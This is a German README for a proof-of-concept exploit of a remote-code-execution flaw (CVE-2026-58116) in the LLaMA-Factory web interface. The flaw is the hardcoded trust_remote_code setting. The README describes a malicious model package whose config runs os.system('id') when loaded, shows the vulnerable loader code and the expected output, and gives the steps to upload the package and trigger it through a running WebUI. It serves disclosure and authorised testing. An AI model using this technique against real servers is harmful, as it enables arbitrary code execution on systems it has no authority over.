
Proof-of-concept-Exploit für CVE-2026-58116, das Remote-Code-Ausführung in der LLaMA-Factory-WebUI über trust_remote_code-Modellpfad-Injection demonstriert. Enthält Payload-Modell und Verifikationsskript für autorisierte Sicherheitstests.
trust_remote_codeProof of Concept für CVE-2026-58116 (CVSS 9.8 Critical): Remote Code Execution
in LLaMA-Factory <= v0.9.5.
Die LLaMA-Factory WebUI kodiert trust_remote_code=True beim Laden eines Modells hard
(src/llamafactory/webui/chatter.py:139 und runner.py:175,320). Das
angreifergesteuerte Feld „Model path" fließt unvalidiert in
AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), sodass die
Hugging Face transformers-Bibliothek beliebigen Python-Code von einem bösartigen
Modell-Repository herunterlädt und ausführt.
Dieses PoC ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die
enthaltene Nutzlast ist absichtlich harmlos (sie gibt Host-Informationen via id aus).
Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie autorisiert sind.
Setzen Sie niemals eine bösartige Nutzlast gegen Infrastruktur ohne ausdrückliche
Genehmigung ein.
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
transformers instanziiert die Config-Klasse bevor irgendwelche Gewichte geladen werden,
sodass die Nutzlast in PoCConfig.__init__ ausgelöst wird, sobald die Konfiguration gelesen
wird – es müssen keine Gewichte existieren. Genau das ist der Pfad, den LLaMA-Factory über
src/llamafactory/model/loader.py erreicht:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Überprüfen Sie den Angriffspunkt lokal (kein WebUI nötig – beweist den Vertrag, den das WebUI verletzt):
pip install transformers torch
python3 build_and_verify.py
Erwartete Ausgabe – beachten Sie, dass der Nutzlast-Banner während des Ladens der Konfiguration erscheint:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
Ende-zu-Ende über eine laufende LLaMA-Factory WebUI:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc,
klicken Sie auf Load Model.